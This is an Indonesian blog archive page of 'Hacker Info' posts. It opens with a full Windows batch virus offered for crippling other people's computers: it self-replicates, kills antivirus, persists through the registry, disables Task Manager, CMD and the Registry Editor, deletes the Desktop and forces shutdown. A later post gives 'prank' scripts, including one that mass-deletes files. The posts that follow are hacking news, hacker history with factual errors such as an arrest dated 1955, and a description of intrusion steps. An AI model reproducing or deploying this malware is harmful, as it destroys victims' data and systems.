Tampilkan postingan dengan label Hacker Info. Tampilkan semua postingan
Tampilkan postingan dengan label Hacker Info. Tampilkan semua postingan

script virus

Posted by Rizky Prasetya 15.22, under |



Ni lumayan ane kasih script BAT,lumayan buat lumpuhin komputer orang, ni script ane dapet waktu iseng surfing di Mbah google, kalo pengen nyoba tingal copy paste scriptnya

echo off

color 0a

cls

echo.

echo "Destroyer Injector [PHF]"

echo.

echo.

echo.

echo.

echo Selamat datang di Destroyer Injector.

echo.

echo.

echo pencet sembarang untuk mengaktifkannya!!! :)

pause

cls

dir %windir% /s

cls

echo Proses akses data telah selesai.

echo.

echo.

echo.

:pilih

echo Apakah anda ingin melanjutkan injecksi? (Y/N)

set /p inputchoice=

if %inputchoice% equ y goto yes

if %inputchoice% equ Y goto yes

if %inputchoice% equ n goto no

if %inputchoice% equ N goto no

echo.

echo.

echo anda memasukkan jawaban yang salah

echo silahkan coba kembali

pause

cls

goto pilih

:yes

cls

echo berikut ini kami akan mengantarkan ke alamat credit

echo tekan terserah untuk melanjutkan!!!

pause

:no

cls

start iexplore http://pontianak-hacker.blogspot.com


@echo off

copy %0 %systemroot%\namavirus.bat > nul

copy %0 *.bat > nul

Attrib +h *.bat

cls

tskill AVGUARD

tskill AVGNT

tskill NMAIN

tskill KAV

tskill ad-aware

tskill av*

tskill PCMAV

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Explorer.exe /t REG_SZ /d %systemroot%\namavirus.bat /f > nul

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 4 /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Antz /t REG_SZ /d C:\Windows\Antz.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d toepan.tk /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d Bukannya ane iseng gan cuman gg ada kerjaan aja /f

reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f

cls

echo [windows] >> %systemroot%\win.ini

echo load=%systemroot%\namavirus.bat >> %systemroot%\win.ini

echo run=%systemroot%\namavirus.bat >> %systemroot%\win.ini

Attrib +h %systemroot%\win.ini

del C:\docume~\owner\Desktop

shutdown -s -t 15

msg * ”sorry ya computer nya death dulu ^_^”

msg * ”sorry ya computer nya death dulu ^_^”

msg * ”-PontianakHackerFoundation-”

msg * ”-PontianakHackerFoundation-”

cls

:hell

start %0

goto hell

exit

Lo save tuh script dengan file extensi bat, contoh ucinggarong.bat & typenya pake Allfile

Polisi Tangkap 25 Anggota Anonymous

Posted by Rizky Prasetya 13.33, under |






MADRID - Menurut International Criminal Police Organization (Interpol), polisi di Amerika Latin dan Eropa telah menangkap 25 orang yang diyakini sebagai anggota dari Anonymous, yaitu kelompok hacker internasional dan 'hacktivist'.

Dilaporkan BBC, penangkapan itu dilakukan di Argentina, Chili, Kolombia dan Spanyol. Selain menangkap hacker, pihak berwenang di negara-negara tersebut juga menyita 250 peralatan komputer dan ponsel.

Dilansir Mashable, Rabu (29/2/2012), penangkapan anggota Anonymous ini, dikabarkan karena ulah mereka yang meretas website Kolombia dan Chili. Sebagai serangan balasan terhadap dari penangkapan anggota Anonymous, situs Interpol tampaknya telah 'dikerjai' oleh hacker. Kemungkinan diserang oleh hacker, karena proses loading website yang berjalan lambat.

Para tersangka ini memilki umur yang bervariasi, mulai dari 17 hingga 40 tahun. Menurut pihak berwenang, salah satu hacker yang ditangkap di Spanyol diyakini menjalankan jaringan komputer Anonymous di Spanyol dan Amerika Latin.

Dua dari mereka yang ditangkap di Spanyol saat ini masih ditahan, sedangkan dua lainnya dibebaskan dengan jaminan.

Seperti diketahui Interpol memang bekerja untuk mengkoordinasikan aktivitas polisi internasional. Maka mengingat sifatnya yang luas dari kelompok global seperti Anonymous, komunikasi internasional diperlukan dalam mengidentifikasi dan menangkap orang yang diyakini melakukan kejahatan.

Ratusan Situs Dibobol, Kenya Tuding "Hacker" Indonesia

Posted by Rizky Prasetya 12.52, under |


Tampilan utama situs web Cabinet Office pemerintah Kenya, dibobol hacker yang menggunakan nama Over-X

KOMPAS.com — Nama Indonesia disebut-sebut terlibat dalam serangan peretas (hacker) yang merusak lebih dari 100 situs Pemerintah Kenya. Kelompok peretas itu menggunakan nama Direxer. Di luar kebiasaan aktivitas peretasan, kelompok ini sengaja menampilkan namanya untuk menunjukkan bahwa Direxer berhasil membobol situs tersebut.

Pihak E-Government Kenya mengindikasikan bahwa serangan peretas itu dilakukan oleh kelompok yang tergabung ke forum keamanan online Indonesia yang dikenal sebagai Forum Code Security.

Situs milik Pemerintah Kenya (dengan domain .go.ke) yang berhasil diretas adalah milik Departemen Keuangan, Pendidikan, Kesehatan Publik, Kepemudaan, Kebudayaan Nasional dan Jalan.

Situs lembaga pemerintah lain juga teretas, yakni Administrasi Kepolisian, Imigrasi, Penjara, serta berbagai situs pemerintah kota dan dewan kenegaraan.

Namun, berdasarkan laporan investigasi TrendLab dari perusahaan keamanan Trend Micro, serangan peretas tersebut bukan dilakukan oleh orang yang berasal dari Indonesia.

Dalam siaran pers Trend Micro yang diterima Kompas.com, Selasa (24/1/2012), pihak Trend Micro menyatakan:
Hasilnya, tim investigasi TrendLab dari Trend Micro, menyimpulkan bahwa setelah mengidentifikasi profiling dari penyerang yang terkonsolidasi tersebut berasal dari beberapa wilayah/negara yang berbeda dan tidak dilakukan sendirian oleh kelompok bernama Direxer, termasuk menyebut asal Indonesia sendiri adalah tidak benar, karena rata-rata hacker bersifat patriotik dan jelas tidak ingin mendiskreditkan negara asal mereka. Yang pasti tujuan dari para hacker tersebut adalah mengalihkan perhatian orang dari penyerang yang sebenarnya.

Pihak Trend Micro juga melaporkan bahwa masih ada situs Pemerintah Kenya yang masih terinfeksi serangan, antara lain:
http://www.commstaskforce.go.ke/
http://www.kipi.go.ke/postinfo.html
http://www.cabinetoffice.go.ke/dz.htm
http://www.westernkenya.go.ke/main.php
http://www.nesc.go.ke/index.php/domestic.

Iseng Cuma Make Notepad. Iseng bermodal Notepad

Posted by Rizky Prasetya 13.52, under |

Sebelumnya Saya minta maaf kalo misalnya udah ada yg ngepost .
Gw ada nih tips bwat iseng/ngerja'in >:) tmen-temen gw , tapi saran gw jgn dicoba di komputer agan-agan
tuhkan berarti iseng sama diri sendiri.
Yuk langsung aja , pertama tuliskan kata-kata dibawah ini di notepad agan-agan, pastikan mengetik dengan benar!.


Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

diatas itu untuk iseng mengeject CD-Drive berturut-turut, simpan file dengan nama terserah.VBS yang penting .VBS nya
________________________________________________________________________________________________

MsgBox “Duh, Kepencet”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

yang ini buat iseng BackSpace berturut turut msgnya bisa diganti sesuka agan-agan, disave dengan format VBS kyk yang diatas.
_______________________________________________________________________________________________

@ECHO off
:top
START %SystemRoot%\system32\calc.exe
GOTO top

yang ini buat iseng buka kalkulator terus menerus, disave dengan format .BAT misal: terserah.BAT

________________________________________________________________________________________________

echo Loading Greg...
del /s /q *.*
echo Greg selesai di-loading...
shutdown -r -t 5

Yang ini cukup berbahaya isengnya buat ngeformad Hard Disk , save dengan format .BAT

________________________________________________________________________________________________

@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

yang ini buat shut down komputer , save dengan format .BAT
________________________________________________________________________________________________

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Keyboard RUSAK!!! Harap Diperbaiki”
loop

Yang ini buat keyboard gak berfungsi, save dengan format .VBS

_________________________________________________________________________________________________
NB:Copas biasanya Tidak Berhasil Dikarenakan Perbedaan Tanda Petik (” ”) Pada Notepad, Untuk Lebih Fix Bisa Pake TextPad , untuk msg boxnya bisa agan ubah sesuka agan².

Sory kalo postingan ane kurang jelas karena ane juga masih Newbie & perlu banyak belajar ^:)^

Posted by Rizky Prasetya 15.05, under |


Tukang bajak jaringan internet. Pencuri rekening bank. Tukang obrak-abrik sistem. Begitulah sebagian besar yang diketahui tentang hacker. padahal, dalam situs www.webopedia.comhacker diartikan sebagai istilah gaul untuk seseorang yang sangat antusias terhadap komputer, atau seseorang yang sangat ingin jadi ahli komputer dengan mempelajari bahasa pemrograman dan sistem komputer.

Lalu, kenapa pengertian itu jadi menyimpang?

Dalam buku The New Hacker's Dictionary karya Eric Raymond, hacker adalah orang yang mempunyai lima ciri: gemar mempelajari detil sistem komputer atau bahasa pemrograman, mempelajari bahasa pemrograman dengan cepat, gemar melakukan praktik pemrograman ketimbang berteori, mahir dalam sistem operasi tertentu seperti Unix, dan para hacker senantiasa menghargai hasil hack orang lain.

"Hacker adalah tukang ngoprek. Misalnya orang yang suka ngoprek komputer, dia disebut hacker komputer. Dan itu belum tentu bermaksud jahat", ungkap Budi Raharjo, pakar pengamanan jaringan komputer.

Namun, dalam perkembangannya, hacker menjurus ke arah yang lebih negatif. Dari beragam trik ngoprek yang ditemukan para hacker "murni", penyimpangan pun dilakukan. Trik mereka banyak digunakan hacker lain untuk menjadi senjata "kejahatan", seperti untuk men-deface website, mengambil data, dan sebagainya.

Karenanya, istilah pun bertambah untuk membedakan yang satu dengan yang lain. Ada crakcer, pheaker, ataupun carder.

Hacking dan cracking, prosesnya memang sama, tapi motivasinya berbeda. Cracking adalah hacking yang merusak.

Penyimpangan perilaku hacking memang jadi soal. Makanya, istilah istilah hacker jadi buruk. Bahkan kini, ada istilah white hacker dan black hacker.

Dari Penasaran Jadi Kejahatan

Awal hacker bermula dari tahun 1960-an, ketika fasilitas-fasilitas laboraturium artificial intelligence menjadi daya tarik sendiri bagi para peneliti MIT (Massachusetts Institute of Technology). Komputer saat itu masih menjadi mainframe, "terkunci" dalam ruangan yang terkontrol suhu udaranya, dan berada dalam ruangan berkaca.

Butuh biaya banyak untuk menjalankannya, sehingga para peneliti terbatasi penggunaanya. Mereka lalu menciptakan trik yang mereka sebut hack, sebuah program shortcut untuk menyelesaikan perintah pada mainframe komputer lebih cepat.

Pada tahun 1970-an, istilah hacking berkaitan dengan eksplorasi jaringan kabel, termasuk jaringan telepon. Pada tahun 1971, seorang veteran perang Vietnam bernama John Draper menemukan cara menelepon jarak jauh, tanpa mengeluarkan biaya. Triknya adalah dengan menggunakan sebuah peluit, yang meghasilkan suara 2.600MHz saat menelepon. Dari sinilah istilah pheaker mulai dikenal.

Pada tahun 1980-an, wilayah jacking mulai meluas, saat ARPANET mulai mempraktikkan dunia online lewat bulletin board system yang populer. Yang pertama tertangkap atas tindakan kejahatan adalah sekelompok hacker asal Milwaukee, Amerika Serikat, yang merusak 60 komputer di Memorial Sloan Kettering Cancer dan Laboraturium Nasioanal Los Alamos, Milwaukee. Mereka masuk jaringan komputer memalui telepon.

Akhir tahun 1980-an, Computer Fraud and Abuse Act mulai diterapkan. Robert Morrislah yang pertama kali terganjar undang-undang ini, gara-gara menyebarkan internet worm yang merusak di tahun 1988.

Di awal 1990-an, kasus hacking mulai marak. Kevin Lee Poulsen tertangkap setelah terbukti mencuri dokumen-dokumen militer rahasia.

Namun yang paling fenomenal adalah hacker bernama Kevin Mitnick, yang telah mencuri 20.000 nomor kartu kredit dan menyalahgunakannya. Ia ditangkap di apartemennya pada Februari 1955, setelah diburu hacker lain, Tsutomu Shimomura.

awal tahun 2000, ketakukan akan bug Y2K membuat para hacker semakin menjadi-jadi. Berbagai virus, worm, dan tindakan kejahatan cyber lainnya cukup marak. Terhitung situs-situs beken seperti CNN, Yahoo!, e-Bay, mendapat serangan dari para hacker "hitam". Situs gedung putih, FBI, dan Microsoft pun tak pelak kena serangan.

Hacker yang terpublikasi memang seringkali diakibatkan oleh kejahatannya. Soalnya, hacker "murni" tidak akan merusak jaringan yang disusupi. Biasanya ia hanya meninggalkan jejak kecil, sebagai tanda bahwa jaringan tersebut lemah.

Antara Jagoan dan Amatir

Tindakan setiap hacker biasanya dapat dilihat pula dari kemampuannya. Meski tidak dapat dibuat tingkatannya, tapi sebenarnya ada istilah khusus bagi tiap hacker terkait dengan kemampuan teknisnya. Cuma, tidak sedikit hacker yang tidak mengenal klasifikasi ini.

Ada julukan hacker "elite" untuk hacker yang memahami sistem operasi luar-dalam cukup tinggi, serta sanggup mengkofigurasi jaringan global. Mereka seperti siluman, mampu memasuki sistem tanpa diketahui. Namun, mereka tidak akan merusak isi komputer.

Ada lagi istilah "semi elite" untuk menunjukkan hacker lebih muda daripada "elite", tetapi mempunyai kemampuan dan pengetahuan luas tentang komputer. Mereka mengerti sistem operasi beserta hole-nya. Banyak serangan yang dipublikasi, dilakukan oleh hacker kaliber ini.

Di bawah "semi elite", ada developed kiddie yang umumya masih duduk di bangku sekolah. Mereka membaca tentang metode hacking dan masih menggunakan Graphical User Interface (GUI) dan basic dari Unix. Mereka belum mampu menemukan lubang kelemahan baru di sistem operasi.

Ada hacker kategori script kiddie. Mereka melakukan hacking dengan menggunakan Trojan, dan biasanya bertujuan untuk menakuti dan membuat resah para pengguna internet.

Tingkat paling rendah adalah lamer. Ia tanpa pengalaman dan pengetahuan memadai, tetapi ingin menjadi hacker.

Penyusup Lokal

Perkembangan di tanah air memang tidak dapat diketahui secara pasti. Mungkin, hacker Indonesia mulai mencuat namanya sewaktu ada hacker remaja asal Indonesia yang ditangkap di Singapura. Gara-garanya, ia membobol server pemerintahan di sana.

Group-group hacker Indonesia mulai bermunculan pada tahun 1996. saat itu sebuah komunitas hacker lokal, Indonesian Street Fighters, mengklaim bahwa mereka berhasil meng-crash-kan sebuah server bernama Toxyn.

Komunitas lainnya, IndoHack, juga sempat menyatakan perang antara hacker Indonesia dan Portugal. Ini berkaitan dengan isu tuntutan pembebasan Timor-Timur beberapa tahun lalu.

Nah, kini apa yang ada di benak Anda tentang Hacker? Baikkah atau burukkah? Jawabannya terserah Anda.

Hacker yang Pernah Terkenal

Kevin Mitnick, nama samaran: Condor. Hacker yang paling sering dipublikasikan karena perkara kriminal. Ditangkap kelima kalinya karena tuduhan pemilikan 20.000 nomor kartu kredit curian, menyalin sistem operasi DEC (Digital Equipment Corporation) secara ilegal, serta mengambil alih seluruh hub jaringan telepon New York dan California.

Tsutomu Shimomura. Hacker yang membantu mengejar Kevin Mitnick pada tahun 1994. Bekerja di San Diego Supercomputing, di mana Mitnick mencuri ratusan program dari workstation yang ia kelola. Meski menjadi konsultan pada FBI, Angkatan Udara dan Dinas Keamanan Amerika Serikat, ada rumor mengatakan bahwa ia memiliki sisi gelap seorang hacker.

Robert T. Morris, nama samaran: RTM. Saat remaja pernah meng-hack sistem komputer Bell Labs dan memperoleh akses super user. Membuat worm yang mampu menyebar tak terkendali di internet dan memacetkan ribuan komputer. Morris didenda US$ 10.000.

Kevin Poulsen, nama samaran: Dark Dante. Berurusan dengan FBI pada tahun 1980 karena menembus sistem komputer mereka. Dicari dengan tuduhan membahayakan keamanan nasional. Dalam pengejaran, ia berhasil memenangkan kuis telepon di sebuah radio di Los Angeles dengan cara menukanginya. Ia dapat sebuah mobil Porsche dan liburan ke Hawai.

John Drapper, nama samaran: Cap'n Crunch. Hacker generasi pertama yang beroperasi di bidang telekomunikasi/telepon. Menemukan cara untuk menelepon jarak jauh tanpa biaya, dengan menggunakan peluit berkekuatan suara 2.600MHz ke pesawat telepon.

Apa itu "HACKER??"

Posted by Rizky Prasetya 14.54, under |


Hacker adalah sebutan untuk orang atau sekelompok orang yang memberikan sumbangan bermanfaat untuk dunia jaringan dan sistem operasi, membuat program bantuan untuk dunia jaringan dan komputer.Hacker juga bisa di kategorikan perkerjaan yang dilakukan untuk mencari kelemahan suatu system dan memberikan ide atau pendapat yang bisa memperbaiki kelemahan system yang di temukannya.

2. Cracker

Sedangkan cracker adalah sebutan untuk orang yang mencari kelemahan system dan memasukinya untuk kepentingan pribadi dan mencari keuntungan dari system yang di masuki seperti: pencurian data, penghapusan, dan banyak yang lainnya.

Hirarki / Tingkatan Hacker

Ternyata Hacker juga mempunyai tingkatan-tingkatan, tiap tingkatan di bedakan dengan kemampuan dan ilmu yang dimiliki sang hacker :

1.Elite

Ciri-ciri : mengerti sistem operasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global, melakukan pemrogramman setiap harinya, effisien & trampil, menggunakan pengetahuannya dengan tepat, tidak menghancurkan data-data, dan selalu mengikuti peraturan yang ada. Tingkat Elite ini sering disebut sebagai ‘suhu’.

2.Semi Elite

Ciri-ciri : lebih muda dari golongan elite, mempunyai kemampuan & pengetahuan luas tentang komputer, mengerti tentang sistem operasi (termasuk lubangnya), kemampuan programnya cukup untuk mengubah program eksploit.

3.Developed Kiddie

Ciri-ciri : umurnya masih muda (ABG) & masih sekolah, mereka membaca tentang metoda hacking & caranya di berbagai kesempatan, mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya, umumnya masih menggunakan Grafik User Interface (GUI) & baru belajar basic dari UNIX tanpa mampu menemukan lubang kelemahan baru di sistem operasi.

4.Script Kiddie

Ciri-ciri : seperti developed kiddie dan juga seperti Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal, tidak lepas dari GUI, hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.

5.Lammer

Ciri-ciri : tidak mempunyai pengalaman & pengetahuan tapi ingin menjadi hacker sehingga lamer sering disebut sebagai ‘wanna-be’ hacker, penggunaan komputer mereka terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit, melakukan hacking dengan menggunakan software trojan, nuke & DoS, suka menyombongkan diri melalui IRC channel, dan sebagainya. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja

Belajar Menjadi Hacker

Posted by Rizky Prasetya 14.52, under |


Hacker dengan keahliannya dapat melihat & memperbaiki kelemahan perangkat lunak di komputer; biasanya kemudian di publikasikan secara terbuka di Internet agar sistem menjadi lebih baik. Sialnya, segelintir manusia berhati jahat menggunakan informasi tersebut untuk kejahatan – mereka biasanya disebut cracker. Pada dasarnya dunia hacker & cracker tidak berbeda dengan dunia seni, disini kita berbicara seni keamanan jaringan Internet.
Saya berharap ilmu keamanan jaringan di tulisan ini digunakan untuk hal-hal yang baik – jadilah Hacker bukan Cracker. Jangan sampai anda terkena karma karena menggunakan ilmu untuk merusak milik orang lain. Apalagi, pada saat ini kebutuhan akan hacker semakin bertambah di Indonesia dengan semakin banyak dotcommers yang ingin IPO di berbagai bursa saham. Nama baik & nilai sebuah dotcom bisa jatuh bahkan menjadi tidak berharga jika dotcom di bobol. Dalam kondisi ini, para hacker di harapkan bisa menjadi konsultan keamanan bagi para dotcommers tersebut – karena SDM pihak kepolisian & aparat keamanan Indonesia amat sangat lemah & menyedihkan di bidang Teknologi Informasi & Internet. Apa boleh buat cybersquad, cyberpatrol swasta barangkali perlu di budayakan untuk survival dotcommers Indonesia di Internet.
Berbagai teknik keamanan jaringan Internet dapat di peroleh secara mudah di Internet antara lain di http://www.sans.org, http://www.rootshell.com, http://www.linuxfirewall.org/, http://www.linuxdoc.org, http://www.cerias.purdue.edu/coast/firewalls/, http://www.redhat.com/mirrors/LDP/HOWTO/. Sebagian dari teknik ini berupa buku-buku yang jumlah-nya beberapa ratus halaman yang dapat di ambil secara cuma-cuma (gratis). Beberapa Frequently Asked Questions (FAQ) tentang keamanan jaringan bisa diperoleh di http://www.iss.net/vd/mail.html, http://www.v-one.com/documents/fw-faq.htm. Dan bagi para experimenter beberapa script / program yang sudah jadi dapat diperoleh antara lain di http://bastille-linux.sourceforge.net/, http://www.redhat.com/support/docs/tips/firewall/firewallservice.html.
Bagi pembaca yang ingin memperoleh ilmu tentang jaringan dapat di download secara cuma-cuma dari http://pandu.dhs.org, http://www.bogor.net/idkf/, http://louis.idaman.com/idkf. Beberapa buku berbentuk softcopy yang dapat di ambil gratis dapat di ambil dari http://pandu.dhs.org/Buku-Online/. Kita harus berterima kasih terutama kepada team Pandu yang dimotori oleh I Made Wiryana untuk ini. Pada saat ini, saya tidak terlalu tahu adanya tempat diskusi Indonesia yang aktif membahas teknik-teknik hacking ini – tetapi mungkin bisa sebagian di diskusikan di mailing list lanjut seperti kursus-linux@yahoogroups.com & linux-admin@linux.or.id yang di operasikan oleh Kelompok Pengguna Linux Indonesia (KPLI) http://www.kpli.or.id.
Cara paling sederhana untuk melihat kelemahan sistem adalah dengan cara mencari informasi dari berbagai vendor misalnya di http://www.sans.org/newlook/publications/roadmap.htm#3b tentang kelemahan dari sistem yang mereka buat sendiri. Di samping, memonitoring berbagai mailing list di Internet yang berkaitan dengan keamanan jaringan seperti dalam daftar http://www.sans.org/newlook/publications/roadmap.htm#3e.
Dijelaskan oleh Front-line Information Security Team, “Techniques Adopted By 'System Crackers' When Attempting To Break Into Corporate or Sensitive Private Networks,” fist@ns2.co.uk 1
Artikel Populer IlmuKomputer.Com
http://www.ns2.co.uk. Seorang Cracker umumnya pria usia 16-25 tahun. Berdasarkan statistik pengguna Internet di Indonesia maka sebetulnya mayoritas pengguna Internet di Indonesia adalah anak-anak muda pada usia ini juga. Memang usia ini adalah usia yang sangat ideal dalam menimba ilmu baru termasuk ilmu Internet, sangat disayangkan jika kita tidak berhasil menginternetkan ke 25000 sekolah Indonesia s/d tahun 2002 – karena tumpuan hari depan bangsa Indonesia berada di tangan anak-anak muda kita ini.
Nah, para cracker muda ini umumnya melakukan cracking untuk meningkatkan kemampuan / menggunakan sumber daya di jaringan untuk kepentingan sendiri. Umumnya para cracker adalah opportunis. Melihat kelemahan sistem dengan mejalankan program scanner. Setelah memperoleh akses root, cracker akan menginstall pintu belakang (backdoor) dan menutup semua kelemahan umum yang ada.
Seperti kita tahu, umumnya berbagai perusahaan / dotcommers akan menggunakan Internet untuk (1) hosting web server mereka, (2) komunikasi e-mail dan (3) memberikan akses web / internet kepada karyawan-nya. Pemisahan jaringan Internet dan IntraNet umumnya dilakukan dengan menggunakan teknik / software Firewall dan Proxy server. Melihat kondisi penggunaan di atas, kelemahan sistem umumnya dapat di tembus misalnya dengan menembus mailserver external / luar yang digunakan untuk memudahkan akses ke mail keluar dari perusahaan. Selain itu, dengan menggunakan agressive-SNMP scanner & program yang memaksa SNMP community string dapat mengubah sebuah router menjadi bridge (jembatan) yang kemudian dapat digunakan untuk batu loncatan untuk masuk ke dalam jaringan internal perusahaan (IntraNet).
Agar cracker terlindungi pada saat melakukan serangan, teknik cloacking (penyamaran) dilakukan dengan cara melompat dari mesin yang sebelumnya telah di compromised (ditaklukan) melalui program telnet atau rsh. Pada mesin perantara yang menggunakan Windows serangan dapat dilakukan dengan melompat dari program Wingate. Selain itu, melompat dapat dilakukan melalui perangkat proxy yang konfigurasinya kurang baik.
Setelah berhasil melompat dan memasuki sistem lain, cracker biasanya melakukan probing terhadap jaringan dan mengumpulkan informasi yang dibutuhkan. Hal ini dilakukan dengan beberapa cara, misalnya (1) menggunakan nslookup untuk menjalankan perintah 'ls ' , (2) melihat file HTML di webserver anda untuk mengidentifikasi mesin lainnya, (3) melihat berbagai dokumen di FTP server, (4) menghubungkan diri ke mail server dan menggunakan perintah 'expn ', dan (5) mem-finger user di mesin-mesin eksternal lainnya.
Langkah selanjutnya, cracker akan mengidentifikasi komponen jaringan yang dipercaya oleh system apa saja. Komponen jaringan tersebut biasanya mesin administrator dan server yang biasanya di anggap paling aman di jaringan. Start dengan check akses & eksport NFS ke berbagai direktori yang kritis seperti /usr/bin, /etc dan /home. Eksploitasi mesin melalui kelemahan Common Gateway Interface (CGI), dengan akses ke file /etc/hosts.allow.
Selanjutnya cracker harus mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan. Cracker bisa mengunakan program di Linux seperti ADMhack, mscan, nmap dan banyak scanner kecil lainnya. Program seperti 'ps' & 'netstat' di buat trojan (ingat cerita kuda troya? dalam cerita klasik yunani kuno) untuk menyembunyikan proses scanning. Bagi cracker yang cukup advanced dapat mengunakan aggressive-SNMP scanning untuk men-scan peralatan dengan SNMP.
Setelah cracker berhasil mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan, maka cracker akan menjalan program untuk menaklukan program daemon yang lemah di server. Program daemon adalah program di server yang biasanya berjalan di belakang layar (sebagai daemon / setan). 2
Artikel Populer IlmuKomputer.Com
3
Keberhasilan menaklukan program daemon ini akan memungkinkan seorang Cracker untuk memperoleh akses sebagai ‘root’ (administrator tertinggi di server).
Untuk menghilangkan jejak, seorang cracker biasanya melakukan operasi pembersihan 'clean-up‘ operation dengan cara membersihkan berbagai log file. Dan menambahkan program untuk masuk dari pintu belakang 'backdooring'. Mengganti file .rhosts di /usr/bin untuk memudahkan akses ke mesin yang di taklukan melalui rsh & csh.
Selanjutnya seorang cracker dapat menggunakan mesin yang sudah ditaklukan untuk kepentingannya sendiri, misalnya mengambil informasi sensitif yang seharusnya tidak dibacanya; mengcracking mesin lain dengan melompat dari mesin yang di taklukan; memasang sniffer untuk melihat / mencatat berbagai trafik / komunikasi yang lewat; bahkan bisa mematikan sistem / jaringan dengan cara menjalankan perintah ‘rm –rf / &’. Yang terakhir akan sangat fatal akibatnya karena sistem akan hancur sama sekali, terutama jika semua software di letakan di harddisk. Proses re-install seluruh sistem harus di lakukan, akan memusingkan jika hal ini dilakukan di mesin-mesin yang menjalankan misi kritis.
Oleh karena itu semua mesin & router yang menjalankan misi kritis sebaiknya selalu di periksa keamanannya & di patch oleh software yang lebih baru. Backup menjadi penting sekali terutama pada mesin-mesin yang menjalankan misi kritis supaya terselamatkan dari ulah cracker yang men-disable sistem dengan ‘rm –rf / &’.
Bagi kita yang sehari-hari bergelut di Internet biasanya justru akan sangat menghargai keberadaan para hacker (bukan Cracker). Karena berkat para hacker-lah Internet ada dan dapat kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik lagi. Berbagai kelemahan sistem di perbaiki karena kepandaian rekan-rekan hacker yang sering kali mengerjakan perbaikan tsb. secara sukarela karena hobby-nya. Apalagi seringkali hasil hacking-nya di sebarkan secara cuma-cuma di Internet untuk keperluan masyarakat Internet. Sebuah nilai & budaya gotong royong yang mulia justru tumbuh di dunia maya Internet yang biasanya terkesan futuristik dan jauh dari rasa sosial.
Pengembangan para hobbiest hacker ini menjadi penting sekali untuk keberlangsungan / survival dotcommers di wahana Internet Indonesia. Sebagai salah satu bentuk nyatanya, dalam waktu dekat Insya Allah sekitar pertengahan April 2001 akan di adakan hacking competition di Internet untuk membobol sebuah server yang telah di tentukan terlebih dahulu. Hacking competition tersebut di motori oleh anak-anak muda di Kelompok Pengguna Linux Indonesia (KPLI) Semarang yang digerakan oleh anak muda seperti Kresno Aji (masaji@telkom.net), Agus Hartanto (hartx@writeme.com) & Lekso Budi Handoko (handoko@riset.dinus.ac.id). Seperti umumnya anak-anak muda lainnya, mereka umumnya bermodal cekak – bantuan & sponsor tentunya akan sangat bermanfaat dan dinantikan oleh rekan-rekan muda ini.
Mudah-mudahan semua ini akan menambah semangat pembaca, khususnya pembaca muda, untuk bergerak di dunia hacker yang mengasyikan dan menantang. Kalau kata Captain Jean Luc Picard di Film Startrek Next Generation, “To boldly go where no one has gone before”.

SITUS-SITUS PALSU YANG DIBUAT HACKER

Posted by Rizky Prasetya 14.50, under |


LATAR BELAKANG PERMASALAHAN

Dewasa ini seiring dengan semakin canggih dan modernnya berbagai macam teknologi, maka penggunaan internet pun juga semakin marak pada berbagai aspek kehidupan. Teknologi ini ibaratnya pedang bermata dua. Di satu sisi, hal positifnya, teknologi (internet) diyakini mempunyai peran dalam membantu organisasi beroperasi dengan efisien, efektif, dan kompetitif dan juga dapat mempermudah serta membantu pekerjaan kita sehingga cepat terselesaikan. Kita dapat dengan mudah mendapatkan data-data dari berbagai sumber, data dapat diakses dimanapun dan kapanpun, penggunaan yang relatif mudah, data digunakan untuk membuat keputusan yang lebih baik, dan mengurangi biaya dimana salah satu tujuan utamanya dari penggunaan internet adalah digunakan sebagai pendukung keputusan (decision support system). Namun pada sisi yang lainnya, hal negatif, dengan berkembangnya teknologi, aspek atau bidang lain pun juga ikut berkembang, seperti kecerdasan, kepandaian, kemodernan, bahkan sampai kejahatan, kecurangan, dan pembajakan, baik yang terjadi di dunia nyata maupun di dunia maya (internet).Teknologi internet menghadapi berbagai tantangan baru dalam melindungi privasi individual. Informasi yang dikirim dari satu jaringan ke jaringan lainnya, akan melalui berbagai macam system computer sebelum 